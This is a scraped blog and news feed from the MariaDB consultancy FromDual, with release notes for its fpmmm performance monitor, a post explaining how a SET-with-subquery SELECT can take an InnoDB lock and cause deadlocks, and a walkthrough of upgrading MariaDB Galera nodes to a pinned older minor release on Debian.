There are some changes in the configuration file (fpmmm.conf):

The access rights should be change as follows: chmod 600 /etc/fpmmm.conf
The key Methode was spelled wrong in the configuration file. It was renamed to Method.
The key PidFile is ambiguous which could lead to problems and bugs. Thus it was changed to either MyPidFile for fpmmm and DbPidFile for the database.

Upgrade with DEB/RPM packages should happen automatically. For tarballs follow this:

shell> cd /opt
shell> tar xf /download/fpmmm-2.1.0.tar.gz
shell> rm -f fpmmm
shell> ln -s fpmmm-2.1.0 fpmmm

Changes in FromDual Performance Monitor for MariaDB 2.1.0

This release contains new features and various bug fixes.

You can verify your current FromDual Performance Monitor for MariaDB version with the following command:

shell> /opt/fpmmm/bin/fpmmm --version

General

Comments and some more debugging information added.
All needed logging added for tracking down the problem of bad stat output.
New variables fixed.
Error messages improved.
Fix error output.
Version 10.11.1 was not split up correctly, fixed.
myEnv updated to fix bad MySQL detection on Ubuntu from repository.
Old database version error fixed if connection to API does not work.
Disable smart module by default to avoid error messages.
Removed /etc/fpmmm folder everywhere.
rc made unique, tests fixed.
Default path locations brought up to date.
DbPidFile location is new under /run.
All tests for MariaDB 10.11 passed.
CacheFileBase bug fixed.
FreeDSx/SNMP upgraded from 0.4 to 0.5.
DB connection handling improved and made more OO style.
Configuration file parser made more stable for syntax errors.
Error log logged to systemd message improved.
Option –version is now done before check options.
PHP requirement version specified.

Templates

Templates improved.
Link for triggers fixed.
Working period added to all graphs.
Zabbix 6 templates added to Makefile.
Zabbix 6.0 templates added (6.0.21) and renamed.

Agent

All variables from templates removed, test added for fpmmm MRRELEASE.
Fix MRRLEASE tag in fpmmm template fixed again.
Function writeDataToCache improved for tracking customer problems.
CacheFile is now protected with flock, this should resolve issues with lost brman items.
fpmmm version problem error message improved.
Disabled = True is not recognized correctly and no error was thrown. This is fixed now.
Messages were not handled correctly with SNMP output. This is fixed now.
mdstat message removed from error log.
Make error messages around sending data nicer.
apt-get/yum messages replaced by dnf/apt.
Error message made more clear if php-cli package is missing.

Server

Trigger too many filesystem locks set from MULTIPLE to SINGLE, threshold increased from 10000 to 16384 (mariadb MaxNOFiles) and message improved.
Working time added to server graphs.
iostat items remove from server template.
Available disks are now reported with space in between.
Disk sda5 removed from template, network interfaces enp4s0f1 and bond0 added to template, disks vdb1 and md1 added to template.
CPU usage details removed, guest_nice item added.
Swapping items added.
Typo in host screen fixed.

Galera

Galera group replication latency added.
In addition to old wsrep_causal_reads the new wsrep_sync_wait variable was added including the trigger.
Non Galera node is not detected as such and gives ugly error message, fixed.

InnoDB

Item innodb log write requests and innodb log writes fixed in innodb template.
Item InnoDB Trx Log bytes written renamed to InnoDB Log bytes written, graph InnoDB Log Activity removed because it is redundant now.
Item innodb_redo_log_capacity added for MySQL 8.0.
InnoDB buffer pool wait free trigger has wrong filter for item. fixed.
InnoDB Buffer Pool wait for free pages trigger added link to item value.
innodb_file_format also removed from template.
InnoDB buffer pool wait free trigger added.
FromDual.MySQL.innodb.Innodb_data_pending_fsyncs changed from absolute values to change_per_second to make graph useful.
Links fixed in triggers for innodb module.

MySQL

DB is soon out of support message downgraded from average to warning.
Item name fixed.
Link for table open cache trigger adjusted.
Trigger for mysql/mariadb support ends was changed from multiple to single to reduce noise.
com_call_procedure status counter fixed in module and template.
storage_engine item remove from template, processlist item waiting for table level lock fixed.
TOC was updated in template and improved and cleaned-up.
Unlock table item is not collected any more and trigger was removed, caused useless alerts.
Modern TOC handling implemented.

Process

Process module refactored, more logging and tests added.
Bug in process module fixed: /proc/PID/stat was not parsed correctly.

Security

Links fixed in triggers for security module.

Master

Binlog event count and binlog avg event size removed from master template because we cannot calculate those values.

Backup

Backup template duration URL fixed.

Packaging

Packages added for Debian 10, Debian 11, Debian 12, Ubuntu 20.04, Ubuntu 22.04, Redhat 8 and Redhat 9.
Package bug with fpmmm.ini fixed.
Debian build version increased and package build config error fixed again.
Debian package revision introduced.
Bug in config copy during postinst fixed.
Package installation error overwriting fpmmm.conf fixed.

For subscriptions of commercial use of fpmmm please [get in contact](mailto:contact@fromdual.com?Subject=Commercial use of fpmmm “Contact FromDual”) with us.

InnoDB Deadlock on SELECT? Not possible! Or Is It?

oli.sennhauser@fromdual.com (Oli Sennhauser) — Sat, 25 Nov 2023 16:58:41 +0000

Translated by deepl.com

Introduction

Two points in advance:

A deadlock is a state in which two different transactions are no longer able to continue working because each transaction holds a lock that the other transaction would need. Because both transactions are now waiting for the other transaction to release their locks, neither transaction will release their respective locks. And that would last forever. To avoid this, the MariaDB instance intervenes and kills the transaction that has done less work. The application then receives a deadlock error message of this type:
```
ERROR 1213 (40001): Deadlock found when trying to get lock; try restarting transaction
```
A general mantra in the MariaDB ecosystem is that a SELECT does not cause locks (exception: FOR UPDATE or LOCK IN SHARE MODE) and therefore cannot be part of a deadlock.

The problem

A long-standing customer comes to the FromDual remote DBA team with a request to explain a deadlock situation:

Hello FromDual Team, I need your expertise on the subject of deadlocks. When would it suit you?

The situation is as follows: Transaction 1 consists of a simple INSERT. Transaction 2 consists of a SELECT. This should NOT actually cause a deadlock!

We first check the following points

Are all tables affected by these queries properly indexed? Yes, they are. The queries are all running perfectly!
Is the SELECT query possibly part of a larger transaction (NOT an auto-commit transaction) and therefore not the actual cause of the deadlock? No, it is not. They are auto-commit transactions.

What now? What else needs to be said for clarification: The SELECT is sent with a very high cadence, i.e. approx. every 5 ms!

It is clear that the INSERT generates locks. It is also displayed. But why does the SELECT command generate locks? These are also displayed!

So we try to break the problem down into individual steps.

The approach

The query looks like this:

SQL> SET @id = (SELECT id FROM test WHERE id = 3);

If we pack this query into an explicit transaction, we can even see the locks:

SQL> START TRANSACTION;
SQL> SET @id = (SELECT id FROM test WHERE id = 3);

and in a second session:

SQL> SELECT * FROM information_schema.INNODB_TRX<br>G
*************************** 1. row ***************************
 trx_id: 0
 trx_state: RUNNING
 trx_started: 2023-11-19 15:27:09
 trx_requested_lock_id: NULL
 trx_wait_started: NULL
 trx_weight: 2
 trx_mysql_thread_id: 3765
 trx_query: NULL
 trx_operation_state:
 trx_tables_in_use: 0
 trx_tables_locked: 1
 trx_lock_structs: 2
 trx_lock_memory_bytes: 1128
 trx_rows_locked: 1
 trx_rows_modified: 0
 trx_concurrency_tickets: 0
 trx_isolation_level: REPEATABLE READ
 trx_unique_checks: 1
 trx_foreign_key_checks: 1
trx_last_foreign_key_error: NULL
 trx_is_read_only: 0
trx_autocommit_non_locking: 0

Unfortunately, we cannot see what kind of lock (IS) it is, because the view INNODB_LOCKS is empty.

The solution

If we do the same experiment with “normal” SELECTs:

SQL> START TRANSACTION; SELECT id FROM test WHERE id = 3;

SQL> START TRANSACTION; SELECT id INTO @id FROM test WHERE id = 3;

we do NOT see any locks:

SQL> SELECT * FROM information_schema.INNODB_TRX<br>G
*************************** 1. row ***************************
 trx_id: 0
 trx_state: RUNNING
 trx_started: 2023-11-19 15:31:35
 trx_requested_lock_id: NULL
 trx_wait_started: NULL
 trx_weight: 0
 trx_mysql_thread_id: 3765
 trx_query: NULL
 trx_operation_state:
 trx_tables_in_use: 0
 trx_tables_locked: 0
 trx_lock_structs: 0
 trx_lock_memory_bytes: 1128
 trx_rows_locked: 0
 trx_rows_modified: 0
 trx_concurrency_tickets: 0
 trx_isolation_level: REPEATABLE READ
 trx_unique_checks: 1
 trx_foreign_key_checks: 1
trx_last_foreign_key_error: NULL
 trx_is_read_only: 0
trx_autocommit_non_locking: 0

So it seems that the construct SET @id = (...) causes this IS lock. The customer rewrites his application and shortly afterwards we receive the following message:

Hello FromDual team, Your tip was spot on. No more deadlocks since Friday lunchtime. Thank you and have a nice weekend.

Further clarified questions

MySQL 8.0 behaves the same? Yes, exactly the same.

Addendum

My dear colleague Matthias gave me a follow-up idea: What about MariaDB Stored Procedures and Stored Functions?

The two tests here:

DELIMITER //

CREATE OR REPLACE PROCEDURE locktestsp (INOUT id INT)
BEGIN
 SELECT id INTO id FROM test WHERE id = id LIMIT 1;
END;
//

DELIMITER ;

SET @id = 3;
START TRANSACTION;
CALL locktestsp(@id);
SELECT @id;

SELECT trx_tables_locked, trx_lock_structs, trx_rows_locked FROM information_schema.INNODB_TRX;
+-------------------+------------------+-----------------+
| trx_tables_locked | trx_lock_structs | trx_rows_locked |
+-------------------+------------------+-----------------+
| 0 | 0 | 0 |
+-------------------+------------------+-----------------+

and here:

DELIMITER //

CREATE OR REPLACE FUNCTION locktestsf (IN id INT)
RETURNS CHAR(50) DETERMINISTIC
BEGIN
 SELECT id INTO id FROM test WHERE id = id LIMIT 1;
 RETURN id;
END;
//

DELIMITER ;

START TRANSACTION;
SELECT locktestsf(3);

SELECT trx_tables_locked, trx_lock_structs, trx_rows_locked FROM information_schema.INNODB_TRX;
+-------------------+------------------+-----------------+
| trx_tables_locked | trx_lock_structs | trx_rows_locked |
+-------------------+------------------+-----------------+
| 0 | 0 | 0 |
+-------------------+------------------+-----------------+

Ops Center File Transfer Tool

oli.sennhauser@fromdual.com (Oli Sennhauser) — Thu, 16 Mar 2023 15:47:34 +0000

Upgrading MariaDB to the pre-latest minor release

oli.sennhauser@fromdual.com (Oli Sennhauser) — Wed, 08 Feb 2023 13:45:30 +0000

Scenario: MariaDB Community Server is release every 3 months. The exact date is not known but it is typically about 2 to 3 weeks after the MySQL/Oracle CPU.

We upgrade regularly customer systems, also their MariaDB Galera Cluster systems. Because we made in the past some very bad experience upgrading production MariaDB Galera Clusters short after release date we became a bit more careful. Our new policy is: We wait a few weeks before installing a new release.

This week we had the situation that on Monday a new MariaDB release came out and on Wednesday we had to do the Cluster upgrade. So only 2 days in between. Too short time for my taste. But we did not want to omit the upgrade because it was already more than 6 months since the last upgrade…

So we decided to install the pre-latest MariaDB release. Technically it means: Customer was on 10.6.9, 10.6.12 is out (and already available in the repositories) but we want to upgrade to 10.6.11. Additionally we also wanted to upgrade the O/S (Debian 11). So how to do this quite complex task? In short:

Set all MariaDB related packages to hold.
Upgrade all other packages including a reboot of the machine.
Unhold all MariaDB related packages.
Install specific MariaDB packages which are not the newest one.

dpkg -l | grep mariadb
ii libdbd-mariadb-perl 1.21-3 amd64 Perl5 database interface to the MariaDB/MySQL databases
ii libmariadb3:amd64 1:10.6.9+maria~deb11 amd64 MariaDB database client library
ii libmariadb3-compat 1:10.6.9+maria~deb11 amd64 MariaDB database client library MySQL compat package
ii libmariadbclient18 1:10.6.9+maria~deb11 amd64 Virtual package to satisfy external libmariadbclient18 depends
ii mariadb-client-10.6 1:10.6.9+maria~deb11 amd64 MariaDB database client binaries
ii mariadb-client-core-10.6 1:10.6.9+maria~deb11 amd64 MariaDB database core client binaries
ii mariadb-common 1:10.6.9+maria~deb11 all MariaDB common configuration files
ii mariadb-server-10.6 1:10.6.9+maria~deb11 amd64 MariaDB database server binaries
ii mariadb-server-core-10.6 1:10.6.9+maria~deb11 amd64 MariaDB database core server files

apt-mark hold galera-4 libmariadb3-compat libmariadb3 libmariadbclient18 mariadb-client-10.6 mariadb-client-core-10.6 mariadb-common mariadb-server-10.6 mariadb-server-core-10.6 mysql-common

apt-mark showhold

Upgrade al other O/S dependent packages

apt update

apt list --upgradable
Listing... Done
galera-4/unknown 26.4.14-deb11 amd64 [upgradable from: 26.4.11-0+deb11u1]
libmariadb3-compat/unknown 1:10.6.12+maria~deb11 amd64 [upgradable from: 1:10.6.9+maria~deb11]
libmariadb3/unknown 1:10.6.12+maria~deb11 amd64 [upgradable from: 1:10.6.9+maria~deb11]
libmariadbclient18/unknown 1:10.6.12+maria~deb11 amd64 [upgradable from: 1:10.6.9+maria~deb11]
libssl1.1/stable-security 1.1.1n-0+deb11u4 amd64 [upgradable from: 1.1.1n-0+deb11u3]
mariadb-client-10.6/unknown 1:10.6.12+maria~deb11 amd64 [upgradable from: 1:10.6.9+maria~deb11]
mariadb-client-core-10.6/unknown 1:10.6.12+maria~deb11 amd64 [upgradable from: 1:10.6.9+maria~deb11]
mariadb-common/unknown 1:10.6.12+maria~deb11 all [upgradable from: 1:10.6.9+maria~deb11]
mariadb-server-10.6/unknown 1:10.6.12+maria~deb11 amd64 [upgradable from: 1:10.6.9+maria~deb11]
mariadb-server-core-10.6/unknown 1:10.6.12+maria~deb11 amd64 [upgradable from: 1:10.6.9+maria~deb11]
mysql-common/unknown 1:10.6.12+maria~deb11 all [upgradable from: 5.8+1.0.7]
openssl/stable-security 1.1.1n-0+deb11u4 amd64 [upgradable from: 1.1.1n-0+deb11u3]

apt upgrade
The following packages have been kept back:
 galera-4 libmariadb3 libmariadb3-compat libmariadbclient18 mariadb-client-10.6 mariadb-client-core-10.6 mariadb-common mariadb-server-10.6 mariadb-server-core-10.6 mysql-common
The following packages will be upgraded:
 libssl1.1 openssl
2 upgraded, 0 newly installed, 0 to remove and 10 not upgraded.

cat /var/run/reboot-required
# reboot [-f]

apt-mark unhold galera-4 libmariadb3-compat libmariadb3 libmariadbclient18 mariadb-client-10.6 mariadb-client-core-10.6 mariadb-common mariadb-server-10.6 mariadb-server-core-10.6 mysql-common

apt-mark showhold

Install specific MariaDB version packages

apt list -a galera-4

apt install galera-4=26.4.13-bullseye libmariadb3-compat=1:10.6.11+maria~deb11 libmariadb3=1:10.6.11+maria~deb11 libmariadbclient18=1:10.6.11+maria~deb11 mariadb-client-10.6=1:10.6.11+maria~deb11 mariadb-client-core-10.6=1:10.6.11+maria~deb11 mariadb-common=1:10.6.11+maria~deb11 mariadb-server-10.6=1:10.6.11+maria~deb11 mariadb-server-core-10.6=1:10.6.11+maria~deb11 mysql-common=1:10.6.11+maria~deb11

# To avoid 2 database restarts we can also do the reboot here
systemctl restart mariadb

mariadb-upgrade --user=root

apt list --upgradable
Listing... Done
galera-4/unknown 26.4.14-deb11 amd64 [upgradable from: 26.4.13-bullseye]
libmariadb3-compat/unknown 1:10.6.12+maria~deb11 amd64 [upgradable from: 1:10.6.11+maria~deb11]
libmariadb3/unknown 1:10.6.12+maria~deb11 amd64 [upgradable from: 1:10.6.11+maria~deb11]
libmariadbclient18/unknown 1:10.6.12+maria~deb11 amd64 [upgradable from: 1:10.6.11+maria~deb11]
mariadb-client-10.6/unknown 1:10.6.12+maria~deb11 amd64 [upgradable from: 1:10.6.11+maria~deb11]
mariadb-client-core-10.6/unknown 1:10.6.12+maria~deb11 amd64 [upgradable from: 1:10.6.11+maria~deb11]
mariadb-common/unknown 1:10.6.12+maria~deb11 all [upgradable from: 1:10.6.11+maria~deb11]
mariadb-server-10.6/unknown 1:10.6.12+maria~deb11 amd64 [upgradable from: 1:10.6.11+maria~deb11]
mariadb-server-core-10.6/unknown 1:10.6.12+maria~deb11 amd64 [upgradable from: 1:10.6.11+maria~deb11]
mysql-common/unknown 1:10.6.12+maria~deb11 all [upgradable from: 1:10.6.11+maria~deb11]

Feed Aggregator on FromDual GmbH

Backup and Recovery Manager Release Notes

MariaDB/MySQL Environment MyEnv 3.0.0 has been released

Upgrade from 2.x to 3.0

Changes in MyEnv 3.0.0

MyEnv

MyEnv Installer

MyEnv Utilities

PostgreSQL

General

Documentation

Packaging

FromDual Performance Monitor 2.2.1 has been released

Download

Monitoring as a Service (MaaS)

Installation of Performance Monitor 2.2.1

Upgrade of fpmmm tar ball from 1.x to 2.2.1

Changes in FromDual Performance Monitor 2.2.1

General

Templates

Agent

Server

Galera

InnoDB

MySQL

Process

Security

Master

Slave

Backup

PostgreSQL

Packaging

What is the quickest way to load data into the database?

Variant 1: INSERT and DELETE (simplest form)

Variant 2: START TRANSACTION and INSERT ad DELETE

Variant 3: START TRANSACTION and optimised INSERT and DELETE

Test set-up

Preparation and execution with MariaDB/MySQL

Preparation and execution with PostgreSQL

Results

Remarks

Further contributions

Marko Mäkelä mentioned you on MDEV-38779

MariaDB has broken the concept of dynamically configurable buffer pools!

Problem description

How did it work before?

What does MariaDB do today?

How does PostgreSQL do this?

How much space does NULL need?

Experiment with MariaDB/MySQL

Test setup

Defragment the table

Attempt 1: NULL out

Attempt 2: Deleting the columns

Conclusion

Experiment with PostgreSQL

Test setup

Attempt 1: NULL out

Experiment 2: Deleting the columns

Remarks

Sources

Additional attempts

Someone is deleting my shared memory segments!

Linux System User

Simple variant: Change SYS_UID_MAX and SYS_GID_MAX to 1001

More complicated variant: Changing the UID from 1001 to 990

Additional information

FromDual Backup and Recovery Manager

Load CSV files into the database

Loading the data with MariaDB/MySQL

Differences between MariaDB and MySQL

Sources

Loading the data with PostgreSQL

Sources

Small differences between MariaDB/MySQL and PostgreSQL

Remarks

Addendum

MariaDB/MySQL Environment MyEnv 2.1.1 has been released

Upgrade from 1.1.x to 2.0

Upgrade from 2.0.x to 2.1.1

Variant 1: `INSERT` and `DELETE` (simplest form)

Variant 2: `START TRANSACTION` and `INSERT` ad `DELETE`

Variant 3: `START TRANSACTION` and optimised `INSERT` and `DELETE`

Attempt 1: `NULL` out

Attempt 1: `NULL` out

Simple variant: Change `SYS_UID_MAX` and `SYS_GID_MAX` to 1001

More complicated variant: Changing the `UID` from 1001 to 990